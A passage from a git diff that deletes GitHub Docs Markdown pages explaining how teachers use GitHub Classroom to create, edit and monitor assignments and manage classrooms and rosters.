data reusables.classroom.assignments-guide-choose-visibility %} - -{% data reusables.classroom.assignments-guide-click-continue-after-basics %} - -## Adding starter code and configuring a development environment - -{% data reusables.classroom.assignments-guide-intro-for-environment %} - -* [Choosing a template repository](#choosing-a-template-repository) -* [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide) - -### Choosing a template repository - -By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} - -{% data reusables.classroom.assignments-guide-choose-template-repository %} - -### Choosing an integrated development environment (IDE) - -{% data reusables.classroom.about-online-ides %} For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide). - -{% data reusables.classroom.classroom-codespaces-link %} - -{% data reusables.classroom.assignments-guide-choose-an-online-ide %} - -{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} - -## Providing feedback - -Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - -* [Testing assignments automatically](#testing-assignments-automatically) -* [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) - -### Testing assignments automatically - -{% data reusables.classroom.assignments-guide-using-autograding %} - -### Designating protected file paths - -{% data reusables.classroom.assignments-guide-protected-paths %} - -### Creating a pull request for feedback - -{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} For more information on leaving feedback in a pull request, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests). - -{% data reusables.classroom.assignments-guide-create-review-pull-request %} - -{% data reusables.classroom.assignments-guide-click-create-assignment-button %} - -## Inviting students to an assignment - -{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} - -You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} - -## Monitoring students' progress - -{% data reusables.classroom.link-to-assignment-overview-article %} - -## Next steps - -* After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.github %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see [AUTOTITLE](/get-started), [AUTOTITLE](/repositories), [AUTOTITLE](/get-started/using-git), and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests), and the free course on [resolving merge conflicts](https://github.com/skills/resolve-merge-conflicts) from {% data variables.product.prodname_learning %}. - -* When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository). - -* You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) and [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). For more information about creating saved replies to provide feedback for common errors, see [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/about-saved-replies). - -## Further reading - -* [{% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md deleted file mode 100644 index 394c0690a367..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Create an assignment from a template repository -intro: 'You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students.' -permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments - - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository -shortTitle: Template repository ---- - -You can use a template repository on {% data variables.product.github %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). - -To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. - -When you create your assignment, {% data variables.product.prodname_classroom %} creates a new repository from the template in your organization with the visibility you select (for more information on creating repositories from templates, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template)). - -Student assignment repositories will be forks of this created repository. You can choose whether all branches are included in student assignment repositories, or just the default branch. - -You can reuse an existing assignment, even if it uses a template repository, in any other classroom that you have admin access to, including classrooms in a different organization. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md deleted file mode 100644 index 12a2dc78e661..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Create an individual assignment -intro: You can create an assignment for students in your course to complete individually. -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - - /education/manage-coursework-with-github-classroom/create-an-individual-assignment -shortTitle: Individual assignment ---- - -## About individual assignments - -{% data reusables.classroom.assignments-individual-definition %} - -{% data reusables.classroom.classroom-creates-individual-repositories %} - -{% data reusables.classroom.about-assignments %} - -{% data reusables.classroom.reuse-assignment-link %} - -## Prerequisites - -{% data reusables.classroom.assignments-classroom-prerequisite %} - -## Creating an assignment - -{% data reusables.classroom.assignments-guide-create-the-assignment %} - -## Setting up the basics for an assignment - -Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - -* [Naming an assignment](#naming-an-assignment) -* [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) -* [Choosing an assignment type](#choosing-an-assignment-type) -* [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) - -### Naming an assignment - -For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.github %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.github %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. - -{% data reusables.classroom.assignments-type-a-title %} - -### Assigning a deadline for an assignment - -{% data reusables.classroom.assignments-guide-assign-a-deadline %} - -{% data reusables.classroom.assignments-guide-make-cutoff-date %} - -### Choosing an assignment type - -Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment). - -### Choosing a visibility for assignment repositories - -{% data reusables.classroom.assignments-repository-visibility-and-permissions %} - -{% data reusables.classroom.assignments-guide-choose-visibility %} - -{% data reusables.classroom.assignments-guide-click-continue-after-basics %} - -## Adding starter code and configuring a development environment - -{% data reusables.classroom.assignments-guide-intro-for-environment %} - -* [Choosing a template repository](#choosing-a-template-repository) -* [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide) - -### Choosing a template repository - -By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} - -{% data reusables.classroom.assignments-guide-choose-template-repository %} - -{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} - -### Choosing an integrated development environment (IDE) - -{% data reusables.classroom.about-online-ides %} For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide). - -{% data reusables.classroom.classroom-codespaces-link %} - -{% data reusables.classroom.assignments-guide-choose-an-online-ide %} - -## Providing feedback for an assignment - -Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - -* [Testing assignments automatically](#testing-assignments-automatically) -* [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) - -### Testing assignments automatically - -{% data reusables.classroom.assignments-guide-using-autograding %} - -### Designating protected file paths - -{% data reusables.classroom.assignments-guide-protected-paths %} - -### Creating a pull request for feedback - -{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} For more information on leaving feedback in a pull request, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests). - -{% data reusables.classroom.assignments-guide-create-review-pull-request %} - -{% data reusables.classroom.assignments-guide-click-create-assignment-button %} - -## Inviting students to an assignment - -{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} - -You can see whether a student has joined the classroom and accepted or submitted an assignment in the **Classroom roster** tab for the assignment. You can also link students' {% data variables.product.prodname_dotcom %} aliases to their associated roster identifier and vice versa in this tab. {% data reusables.classroom.assignments-to-prevent-submission %} - -## Monitoring students' progress - -{% data reusables.classroom.link-to-assignment-overview-article %} - -## Next steps - -* Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.github %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see [AUTOTITLE](/get-started), [AUTOTITLE](/repositories), and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests). - -* When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository). - -* You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) and [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). For more information about creating saved replies to provide feedback for common errors, see [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/about-saved-replies). - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/editing-an-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/editing-an-assignment.md deleted file mode 100644 index 02d6395e12bc..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/editing-an-assignment.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Editing an assignment -intro: You can edit existing assignments in your course. -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can edit assignments for that classroom. {% data reusables.classroom.classroom-admins-link %}' -shortTitle: Edit an assignment ---- -## About editing assignments - -After creating an assignment, you can edit many aspects of the assignment to better fit the needs of yourself and your students. Be aware that you cannot change the assignment type (either individual or group) or the online integrated development environment (IDE) after assignment creation. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) and [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment). - -## Editing an existing assignment - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -1. In the **{% octicon "repo" aria-hidden="true" %} Assignments** tab, next to the assignment you would like to edit, click {% octicon "pencil" aria-label="The pencil icon" %}. - - > [!NOTE] - > You can also edit an assignment from the assignment's page. To access the assignment's page, in the **Assignments** tab, click the assignment name. - -1. Under "Assignment title," click in the text field, then delete the existing text and type the new assignment title. -1. Optionally, to edit the default prefix for each student's assignment repository, next to the name of the prefix, click {% octicon "pencil" aria-label="The pencil icon" %}. - - > [!NOTE] - > Editing an assignment's title or default repository prefix will not change the name of existing assignment repositories. - - Then, type the new prefix under "Custom repository prefix." - -1. Under "Deadline (optional)," click in the text field, then use the date picker to reassign a deadline. The new deadline cannot be in the past, and reassigning a deadline will update the deadline for all students. - - {% data reusables.classroom.assignments-guide-make-cutoff-date %} - -1. To change the status of an assignment, select the **Assignment status** dropdown menu, then click **Active** or **Inactive**. - - > [!NOTE] - > Inactive assignments cannot be accepted by students. You should change an assignment status to inactive once no more students should accept an assignment or the assignment deadline has passed. - -1. Under "Repository visibility," select a visibility. If you use private repositories, only the student or team can see the feedback you provide. - - > [!NOTE] - > Changing the visibility for assignment repositories will not retroactively change the visibility of existing assignment repositories. - -1. Optionally, select or deselect **Grant students admin access to their repository**. For more information on admin permissions for repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - - > [!NOTE] - > Granting or revoking student admin access after an assignment has been created will not retroactively change the permissions for existing assignment repositories. - -1. To set up or change the template repository for your assignment, in the "Add a template repository to give students starter code" section, select the **Select a repository** dropdown menu. - * To choose a template repository, begin typing the repository name in the text field, then click the repository in the search results. - * To remove a template repository, delete any text in the text field. - - You cannot change the template repository after a student has accepted the assignment. If you wish to provide updates to the starter code after students have accepted the assignment, see [Making changes to assignment starter code](#making-changes-to-assignment-starter-code). - - > [!NOTE] - > By default, an assignment will create an empty repository for each student on the roster for the classroom. - -1. To add a new autograding test, in the "Add autograding tests" section, select the **Add test** dropdown menu, then click a grading method from the options that appear. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding). - - Additionally, you can edit or delete existing autograding tests with {% octicon "pencil" aria-label="The pencil icon" %} or {% octicon "trash" aria-label="The trash icon" %}. - -1. To add new protected path, in the "Protected file paths" section, type out the file or path and click **Add path**. - - Additionally, delete existing protected paths by clicking {% octicon "trash" aria-label="The trash icon" %}. - - > [!NOTE] - > If you remove a protected file path, the "Protected file(s) modified" label will be removed from any submissions that edited files in that path - -1. To turn feedback pull requests on or off, select or deselect **Enable feedback pull requests**. - - > [!NOTE] - > Enabling or disabling feedback pull requests for an assignment will not create or delete feedback pull requests for existing assignment repositories. - -{% data reusables.classroom.update-assignment %} - -## Making changes to assignment starter code - -If you need to update the starter code for your assignment after students have already accepted it, you can do so by modifying the original repository. Since student assignments are based on forks of this repository, you can make changes to the starter code and then create pull requests for students to merge these updates into their assignments. See, [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository). - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} - -1. Select the assignment that has a starter code repository. -1. Below the title of the assignment, click the link to your starter code repository. -1. Make the necessary changes to your starter code's content. -1. Return to the assignment overview page. -1. Click **Sync assignments**. If changes are detected, an **Assignments are out of date** button will be shown. -1. To open pull requests in all of your students' assignment repositories, click **Assignments are out of date**. - -The pull requests will be titled "{% data variables.product.prodname_classroom %}: Sync Assignment". Ask your students to merge these pull requests. - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/extending-an-assignments-deadline-for-an-individual-or-group.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/extending-an-assignments-deadline-for-an-individual-or-group.md deleted file mode 100644 index 15916f0f192a..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/extending-an-assignments-deadline-for-an-individual-or-group.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Extending an assignment's deadline for an individual or group -intro: You can grant individual students and groups extensions to allow them more time to submit an assignment. -versions: - fpt: '*' -shortTitle: Extend deadline ---- - -## About extending assignment deadlines - -If you set a cutoff date for an assignment in {% data variables.product.prodname_classroom %}, individual students and groups will lose write access to their assignment repositories once that date has passed. To extend access to assignment repositories for specific students or groups, you can grant those students or groups an extension for that assignment. Extensions extend the cutoff date indefinitely, allowing students to submit an assignment at any time. For more information on setting a cutoff date, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment#assigning-a-deadline-for-an-assignment) and [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment#assigning-a-deadline-for-an-assignment). - -> [!NOTE] -> * If your assignment has a deadline, but it does not have a cutoff date, you will not be able to grant students extensions. Instead, you can inform the student or group of their extension directly and ignore the "Late" label applied to the student or group's entry on the assignment overview. -> * If you grant a student or group an extension, and they submit their work after the initial cutoff date, the assignment will still be marked "Late". You can ignore the "Late" label, as it will not affect the student or group's grade, or write access to their assignment repository. - -## Extending an assignment's deadline - -{% data reusables.classroom.sign-into-github-classroom %} -1. Navigate to your classroom. -1. Open the assignment for which you would like to grant an extension. -1. In your classroom's roster, find the student or group you would like to grant an extension. In that student or group's row, select {% octicon "kebab-horizontal" aria-label="the dropdown menu" %}, then click **{% octicon "calendar" aria-hidden="true" %} Extend deadline**. - - ![Screenshot of the assignment overview page. An expanded dropdown menu containing the "Extend deadline" option is outlined in dark orange.](/assets/images/help/classroom/classroom-extend-deadline.png) - -1. In the modal that appears, select **Extend STUDENT OR GROUP'S assignment deadline**, then click **I understand, extend the deadline**. A "Deadline extended" label will appear next to that student or group's name in the classroom roster. -1. Optionally, to revoke an extension, select {% octicon "kebab-horizontal" aria-label="the dropdown menu" %}, then click **{% octicon "calendar" aria-hidden="true" %} Revoke extension**. - - In the modal that appears, select **Revoke STUDENT OR GROUP'S assignment extension**, then click **I understand, revoke the extension**. The "Deadline extended" label will be removed from the student or group's entry in the classroom roster. diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md deleted file mode 100644 index 30f0f52d53ad..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Teach with GitHub Classroom -intro: Learn how to set up your classroom and assignments. -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories - - /education/manage-coursework-with-github-classroom/probot-settings -children: - - /manage-classrooms - - /about-assignments - - /use-the-git-and-github-starter-assignment - - /create-an-individual-assignment - - /create-a-group-assignment - - /editing-an-assignment - - /extending-an-assignments-deadline-for-an-individual-or-group - - /monitor-students-progress-with-the-assignment-overview-page - - /reuse-an-assignment - - /create-an-assignment-from-a-template-repository - - /leave-feedback-with-pull-requests - - /use-autograding - - /using-github-classroom-with-github-cli - - /register-a-learning-management-system-with-github-classroom - - /connect-a-learning-management-system-course-to-a-classroom -shortTitle: Teach ---- diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md deleted file mode 100644 index ed1e9c6b6072..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Leave feedback with pull requests -intro: You can leave feedback for your students in a special pull request within the repository for each assignment. -permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github - - /education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests -shortTitle: Pull requests ---- -## About feedback pull requests for assignments - -{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} - -When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. - -## Prerequisites - -To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} - -## Leaving feedback in a pull request for an assignment - -{% data reusables.classroom.sign-into-github-classroom %} -1. In the list of classrooms, click the classroom with the assignment you want to review. -{% data reusables.classroom.click-assignment-in-list %} -1. Each student will have a submission row, press the Feedback link to navigate to the student's pull request. -1. On the Feedback PR select the Files changed tab. -1. Review the pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request). - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md deleted file mode 100644 index c89e745383c6..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Manage classrooms -intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.' -permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/archive-a-classroom - - /education/manage-coursework-with-github-classroom/manage-classrooms ---- - -## About classrooms - -{% data reusables.classroom.about-classrooms %} - -## About management of classrooms - -{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.github %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. - -After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. - -Invite TAs and admins to your classroom by inviting the personal accounts on {% data variables.product.github %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) and [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). - -When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. - -{% data reusables.classroom.reuse-assignment-link %} - -You can also view your classrooms and assignments directly from the {% data variables.product.github %} command line interface with the {% data variables.product.prodname_classroom %} extension. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli). - -## About classroom rosters - -Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. - -When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.github %} with a personal account to link the personal account to an identifier for the classroom. After the student links a personal account, you can see the associated personal account in the roster. You can also see when the student accepts or submits an assignment. - -## Prerequisites - -You must have an organization account on {% data variables.product.github %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts#organization-accounts) and [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - -You must authorize the {% data variables.product.prodname_oauth_app %} for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps). - -## Creating a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -1. Click **New classroom** on the right side of the page. -{% data reusables.classroom.guide-create-new-classroom %} - -After you create a classroom, you can begin creating assignments for students. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment), [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment), [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment), or [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). - -## Creating a roster for your classroom - -You can create a roster of the students who participate in your course. - -If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see [Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom) or [Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom). - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Import from...** button to import a roster from your LMS course. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). - - > [!NOTE] - > {% data reusables.classroom.google-classroom-note %} - -1. Provide the student identifiers for your roster. - - * To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**. - * To create a roster manually, type your student identifiers in the text field. - -1. Click **Create roster**. - -## Adding students to the roster for your classroom - -Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see [Creating a roster for your classroom](#creating-a-roster-for-your-classroom). - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. To the right of "Classroom roster", click **Update students**. If you have already linked your classroom to an LMS course, then you will see a **Sync from...** button instead. -1. Follow the instructions to add students to the roster. - * To import students from an LMS, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Sync from...** button. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). - - > [!NOTE] - > {% data reusables.classroom.google-classroom-note %} - - * To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. - -## Renaming a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. Under "Classroom name", type a new name for the classroom. -1. Click **Rename classroom**. - -## Archiving or unarchiving a classroom - -You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. - -{% data reusables.classroom.sign-into-github-classroom %} -1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} dropdown menu, then click **Archive**. - - ![Screenshot of a tile for a classroom. A dropdown menu labeled with a kebab icon is expanded and the "Archive" option is outlined in dark orange.](/assets/images/help/classroom/use-drop-down-then-click-archive.png) - -1. To view an archived classroom, use the dropdown menu next to the search bar to change the view to "Archived" or "All". -1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. - - ![Screenshot of a tile for a classroom. A dropdown menu labeled with a kebab icon is expanded and the "Unarchive" option is outlined in dark orange.](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) - -## Deleting a roster for a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. Below the list of students, under "Delete this roster", click **Delete roster**. -1. Read the warnings, then click **Delete roster**. - -## Deleting a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. To the right of "Delete this classroom", click **Delete classroom**. -1. **Read the warnings**. -1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. -1. Click **Delete classroom**. - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/monitor-students-progress-with-the-assignment-overview-page.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/monitor-students-progress-with-the-assignment-overview-page.md deleted file mode 100644 index b466ae4c9ffd..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/monitor-students-progress-with-the-assignment-overview-page.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Monitor students' progress with the assignment overview page -shortTitle: Use assignment overview -intro: You can use the assignment overview page to track the progress of each student or team on an assignment. -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}' -topics: - - Education ---- - -## About the assignment overview page - -Each assignment you create on {% data variables.product.prodname_classroom %} has an assignment overview page. The assignment overview page provides an overview of your assignment acceptances and student progress. You may see different summary information on an assignment overview page based on the configurations of your assignments. - -For individual assignments, you can view the following information at the top of the assignment overview page: - -* **Rostered students:** The number of students on the classroom's roster. -* **Added students:** The number of {% data variables.product.prodname_dotcom %} accounts that have accepted the assignment and are not associated with a roster identifier. -* **Accepted students:** The number of accounts that have accepted this assignment. -* **Assignment submissions:** The number of students that have submitted the assignment. Submission is triggered at the assignment deadline. -* **Passing students:** The number of students currently passing the autograding tests for this assignment. - -For group assignments, you can view the following information at the top of the assignment overview page: - -* **Total teams:** The number of teams that have been created. -* **Rostered students:** The number of students on the classroom's roster. -* **Students not on a team:** The number of students on the classroom roster who have not yet joined a team. -* **Accepted teams:** The number of teams who have accepted this assignment. -* **Assignment 